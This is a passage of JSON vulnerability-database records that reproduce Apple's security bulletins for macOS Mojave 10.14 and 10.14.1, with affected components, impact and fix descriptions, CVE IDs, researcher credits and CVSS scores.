memory writes are known may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that older data read from recently-written-to addresses cannot be read via a speculative side-channel.\n\nCVE-2018-3639: Jann Horn (@tehjh) of Google Project Zero (GPZ), Ken Johnson of the Microsoft Security Response Center (MSRC)\n\nEntry added October 30, 2018\n\n**Security**\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Security**\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Spotlight**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4393: Lufeng Li\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**Wi-Fi**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative\n\nEntry added October 23, 2018\n\n\n\n## Additional recognition\n\n**Accessibility Framework**\n\nWe would like to acknowledge Ryan Govostes for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**CoreDAV**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry added December 13, 2018, updated December 21, 2018\n\n**CoreGraphics**\n\nWe would like to acknowledge Nitin Arya of Roblox Corporation for their assistance.\n\n**CoreSymbolication**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**CUPS**\n\nWe would like to acknowledge Michael Hanselmann of hansmi.ch for their assistance.\n\nEntry added August 1, 2019\n\n**IOUSBHostFamily**\n\nWe would like to acknowledge Dragos Ruiu of CanSecWest for their assistance.\n\nEntry added December 13, 2018\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Mail**\n\nWe would like to acknowledge Alessandro Avagliano of Rocket Internet SE, John Whitehead of The New York Times, Kelvin Delbarre of Omicron Software Systems, and Zbyszek \u017b\u00f3\u0142kiewski for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero, Wojciech Regu\u0142a (@_r3ggi) of SecuRing, and Patrick Wardle of Digita Security for their assistance.\n\nEntry added December 13, 2018\n\n**Security**\n\nWe would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip Klubi\u010dka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Horatiu Graur of SoftVision, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, an anonymous researcher for their assistance.\n\nEntry updated June 24, 2019\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Terminal**\n\nWe would like to acknowledge Federico Bento for their assistance.\n\nEntry added December 13, 2018, updated February 3, 2020\n\n**Time Machine**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry updated January 22, 2019\n\n**WindowServer**\n\nWe would like to acknowledge Patrick Wardle of Digita Security for their assistance.\n\nEntry added December 13, 2018\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2020-02-04T05:12:57", "title": "About the security content of macOS Mojave 10.14 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4383", "CVE-2018-4321", "CVE-2018-4425", "CVE-2018-4354", "CVE-2018-4406", "CVE-2018-4296", "CVE-2018-4399", "CVE-2018-4433", "CVE-2018-4337", "CVE-2018-4407", "CVE-2018-4336", "CVE-2018-4351", "CVE-2018-4304", "CVE-2018-4340", "CVE-2017-5733", "CVE-2018-4333", "CVE-2018-4395", "CVE-2018-4346", "CVE-2018-4396", "CVE-2018-4295", "CVE-2018-4153", "CVE-2015-3194", "CVE-2018-4414", "CVE-2018-4334", "CVE-2015-5334", "CVE-2017-5735", "CVE-2018-4355", "CVE-2016-1777", "CVE-2017-12613", "CVE-2017-5731", "CVE-2018-4310", "CVE-2018-4347", "CVE-2018-4348", "CVE-2016-0702", "CVE-2018-4401", "CVE-2018-4343", "CVE-2018-3646", "CVE-2018-4338", "CVE-2018-4451", "CVE-2017-12618", "CVE-2018-4308", "CVE-2018-4324", "CVE-2018-4353", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4350", "CVE-2017-5732", "CVE-2018-4203", "CVE-2018-4326", "CVE-2018-4426", "CVE-2015-5333", "CVE-2018-4331", "CVE-2019-8643", "CVE-2018-4332", "CVE-2018-5383", "CVE-2018-4393", "CVE-2018-4418", "CVE-2018-4417", "CVE-2018-4456", "CVE-2018-4411", "CVE-2018-4341", "CVE-2018-4344", "CVE-2018-3639", "CVE-2017-5734", "CVE-2018-4126"], "modified": "2020-02-04T05:12:57", "id": "APPLE:HT209139", "href": "https://support.apple.com/kb/HT209139", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:14:24", "description": "# About the security content of macOS Mojave 10.14\n\nThis document describes the security content of macOS Mojave 10.14.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## macOS Mojave 10.14\n\nReleased September 24, 2018\n\n**Bluetooth**\n\nAvailable for: iMac (21.5-inch, Late 2012), iMac (27-inch, Late 2012), iMac (21.5-inch, Late 2013), iMac (21.5-inch, Mid 2014), iMac (Retina 5K, 27-inch, Late 2014), iMac (21.5-inch, Late 2015), Mac mini (Mid 2011), Mac mini Server (Mid 2011), Mac mini (Late 2012), Mac mini Server (Late 2012), Mac mini (Late 2014), Mac Pro (Late 2013), MacBook Air (11-inch, Mid 2011), MacBook Air (13-inch, Mid 2011), MacBook Air (11-inch, Mid 2012), MacBook Air (13-inch, Mid 2012), MacBook Air (11-inch, Mid 2013), MacBook Air (13-inch, Mid 2013), MacBook Air (11-inch, Early 2015), MacBook Air (13-inch, Early 2015), MacBook Pro (13-inch, Mid 2012), MacBook Pro (15-inch, Mid 2012), MacBook Pro (Retina, 13-inch, Early 2013), MacBook Pro (Retina, 15-inch, Early 2013), MacBook Pro (Retina, 13-inch, Late 2013), and MacBook Pro (Retina, 15-inch, Late 2013)\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\nThe updates below are available for these Mac models: MacBook (Early 2015 and later), MacBook Air (Mid 2012 and later), MacBook Pro (Mid 2012 and later), Mac mini (Late 2012 and later), iMac (Late 2012 and later), iMac Pro (all models), Mac Pro (Late 2013, Mid 2010, and Mid 2012 models with recommended Metal-capable graphics processor, including MSI Gaming Radeon RX 560 and Sapphire Radeon PULSE RX 580)\n\n**afpserver**\n\nImpact: A remote attacker may be able to attack AFP servers through HTTP clients\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4295: Jianjun Chen (@whucjj) from Tsinghua University and UC Berkeley\n\nEntry added October 30, 2018\n\n**App Store**\n\nImpact: A malicious application may be able to determine the Apple ID of the owner of the computer\n\nDescription: A permissions issue existed in the handling of the Apple ID. This issue was addressed with improved access controls.\n\nCVE-2018-4324: Sergii Kryvoblotskyi of MacPaw Inc.\n\n**AppleGraphicsControl**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4417: Lee of the Information Security Lab Yonsei University working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Application Firewall**\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4353: Abhinav Bansal of LinkedIn Inc.\n\nEntry updated October 30, 2018\n\n**APR**\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2017-12613: Craig Young of Tripwire VERT\n\nCVE-2017-12618: Craig Young of Tripwire VERT\n\nEntry added October 30, 2018\n\n**ATS**\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4411: lilang wu moony Li of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**ATS**\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4308: Mohamed Ghannam (@_simo36)\n\nEntry added October 30, 2018\n\n**Auto Unlock**\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\n**CFNetwork**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Crash Reporter**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4333: Brandon Azad\n\n**CUPS**\n\nImpact: In certain configurations, a remote attacker may be able to replace the message content from the print server with arbitrary content\n\nDescription: An injection issue was addressed with improved validation.\n\nCVE-2018-4153: Michael Hanselmann of hansmi.ch\n\nEntry added October 30, 2018\n\n**CUPS**\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4406: Michael Hanselmann of hansmi.ch\n\nEntry added October 30, 2018\n\n**Dictionary**\n\nImpact: Parsing a maliciously crafted dictionary file may lead to disclosure of user information\n\nDescription: A validation issue existed which allowed local file access. This was addressed with input sanitization.\n\nCVE-2018-4346: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\nEntry added October 30, 2018\n\n**DiskArbitration**\n\nImpact: A malicious application may be able to modify contents of the EFI system partition and execute arbitrary code with kernel privileges if secure boot is not enabled\n\nDescription: A permissions issue existed in DiskArbitration. This was addressed with additional ownership checks.\n\nCVE-2018-4296: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**dyld**\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**fdesetup**\n\nImpact: Institutional recovery keys may be incorrectly reported as present\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8643: Arun Sharma of VMWare\n\nEntry added August 1, 2019\n\n**Firmware**\n\nImpact: An attacker with physical access to a device may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2017-5731: Intel and Eclypsium\n\nCVE-2017-5732: Intel and Eclypsium\n\nCVE-2017-5733: Intel and Eclypsium\n\nCVE-2017-5734: Intel and Eclypsium\n\nCVE-2017-5735: Intel and Eclypsium\n\nEntry added June 24, 2019\n\n**Grand Central Dispatch**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**Hypervisor**\n\nImpact: Systems with microprocessors utilizing speculative execution and address translations may allow unauthorized disclosure of information residing in the L1 data cache to an attacker with local user access with guest OS privilege via a terminal page fault and a side-channel analysis\n\nDescription: An information disclosure issue was addressed by flushing the L1 data cache at the virtual machine entry.\n\nCVE-2018-3646: Baris Kasikci, Daniel Genkin, Ofir Weisse, and Thomas F. Wenisch of University of Michigan, Mark Silberstein and Marina Minkin of Technion, Raoul Strackx, Jo Van Bulck, and Frank Piessens of KU Leuven, Rodrigo Branco, Henrique Kawakami, Ke Sun, and Kekai Hu of Intel Corporation, Yuval Yarom of The University of Adelaide\n\nEntry added October 30, 2018\n\n**iBooks**\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4355: evi1m0 of bilibili security team\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4396: Yu Wang of Didi Research America\n\nCVE-2018-4418: Yu Wang of Didi Research America\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4351: Appology Team @ Theori working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4350: Yu Wang of Didi Research America\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4334: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4451: Tyler Bohan of Cisco Talos\n\nCVE-2018-4456: Tyler Bohan of Cisco Talos\n\nEntry added December 21, 2018, updated January 22, 2019\n\n**IOHIDFamily**\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 30, 2018\n\n**IOUserEthernet**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry updated October 30, 2018\n\n**LibreSSL**\n\nImpact: Multiple issues in libressl were addressed in this update\n\nDescription: Multiple issues were addressed by updating to libressl version 2.6.4.\n\nCVE-2015-3194\n\nCVE-2015-5333\n\nCVE-2015-5334\n\nCVE-2016-0702\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Login Window**\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4348: Ken Gannon of MWR InfoSecurity and Christian Demko of MWR InfoSecurity\n\nEntry added October 30, 2018\n\n**mDNSOffloadUserClient**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\nEntry added October 30, 2018\n\n**MediaRemote**\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\nEntry added October 30, 2018\n\n**Microcode**\n\nImpact: Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addresses of all prior memory writes are known may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that older data read from recently-written-to addresses cannot be read via a speculative side-channel.\n\nCVE-2018-3639: Jann Horn (@tehjh) of Google Project Zero (GPZ), Ken Johnson of the Microsoft Security Response Center (MSRC)\n\nEntry added October 30, 2018\n\n**Security**\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Security**\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Spotlight**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4393: Lufeng Li\n\nEntry added October 30, 2018\n\n**Symptom Framework**\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**Wi-Fi**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative\n\nEntry added October 23, 2018\n\n\n\n## Additional recognition\n\n**Accessibility Framework**\n\nWe would like to acknowledge Ryan Govostes for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**CoreDAV**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry added December 13, 2018, updated December 21, 2018\n\n**CoreGraphics**\n\nWe would like to acknowledge Nitin Arya of Roblox Corporation for their assistance.\n\n**CoreSymbolication**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**CUPS**\n\nWe would like to acknowledge Michael Hanselmann of hansmi.ch for their assistance.\n\nEntry added August 1, 2019\n\n**IOUSBHostFamily**\n\nWe would like to acknowledge Dragos Ruiu of CanSecWest for their assistance.\n\nEntry added December 13, 2018\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Mail**\n\nWe would like to acknowledge Alessandro Avagliano of Rocket Internet SE, John Whitehead of The New York Times, Kelvin Delbarre of Omicron Software Systems, and Zbyszek \u017b\u00f3\u0142kiewski for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero, Wojciech Regu\u0142a (@_r3ggi) of SecuRing, and Patrick Wardle of Digita Security for their assistance.\n\nEntry added December 13, 2018\n\n**Security**\n\nWe would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip Klubi\u010dka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Horatiu Graur of SoftVision, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, an anonymous researcher for their assistance.\n\nEntry updated June 24, 2019\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Terminal**\n\nWe would like to acknowledge Federico Bento for their assistance.\n\nEntry added December 13, 2018, updated February 3, 2020\n\n**Time Machine**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry updated January 22, 2019\n\n**WindowServer**\n\nWe would like to acknowledge Patrick Wardle of Digita Security for their assistance.\n\nEntry added December 13, 2018\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: February 04, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-09-24T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3194", "CVE-2015-5333", "CVE-2015-5334", "CVE-2016-0702", "CVE-2016-1777", "CVE-2017-12613", "CVE-2017-12618", "CVE-2017-5731", "CVE-2017-5732", "CVE-2017-5733", "CVE-2017-5734", "CVE-2017-5735", "CVE-2018-3639", "CVE-2018-3646", "CVE-2018-4126", "CVE-2018-4153", "CVE-2018-4203", "CVE-2018-4295", "CVE-2018-4296", "CVE-2018-4304", "CVE-2018-4308", "CVE-2018-4310", "CVE-2018-4321", "CVE-2018-4324", "CVE-2018-4326", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4333", "CVE-2018-4334", "CVE-2018-4336", "CVE-2018-4337", "CVE-2018-4338", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4343", "CVE-2018-4344", "CVE-2018-4346", "CVE-2018-4347", "CVE-2018-4348", "CVE-2018-4350", "CVE-2018-4351", "CVE-2018-4353", "CVE-2018-4354", "CVE-2018-4355", "CVE-2018-4383", "CVE-2018-4393", "CVE-2018-4395", "CVE-2018-4396", "CVE-2018-4399", "CVE-2018-4401", "CVE-2018-4406", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4411", "CVE-2018-4412", "CVE-2018-4414", "CVE-2018-4417", "CVE-2018-4418", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-4433", "CVE-2018-4451", "CVE-2018-4456", "CVE-2018-5383", "CVE-2019-8643"], "modified": "2018-09-24T00:00:00", "id": "APPLE:E110ECBEC1B5F4EBE4C6799FF1A4F4E0", "href": "https://support.apple.com/kb/HT209139", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:14:23", "description": "# About the security content of macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra\n\nThis document describes the security content of macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra\n\nReleased October 30, 2018\n\n**afpserver**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A remote attacker may be able to attack AFP servers through HTTP clients\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4295: Jianjun Chen (@whucjj) from Tsinghua University and UC Berkeley\n\n**AppleGraphicsControl**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4410: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**AppleGraphicsControl**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4417: Lee of the Information Security Lab Yonsei University working with Trend Micro's Zero Day Initiative\n\n**APR**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2017-12613: Craig Young of Tripwire VERT\n\nCVE-2017-12618: Craig Young of Tripwire VERT\n\nEntry updated February 15, 2019\n\n**ATS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4411: lilang wu moony Li of Trend Micro working with Trend Micro's Zero Day Initiative\n\n**ATS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4308: Mohamed Ghannam (@_simo36)\n\n**Automator**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: A malicious application may be able to access restricted files\n\nDescription: This issue was addressed by removing additional entitlements.\n\nCVE-2018-4468: Jeff Johnson of underpassapp.com\n\nEntry added February 15, 2019\n\n**CFNetwork**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\n**CoreAnimation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 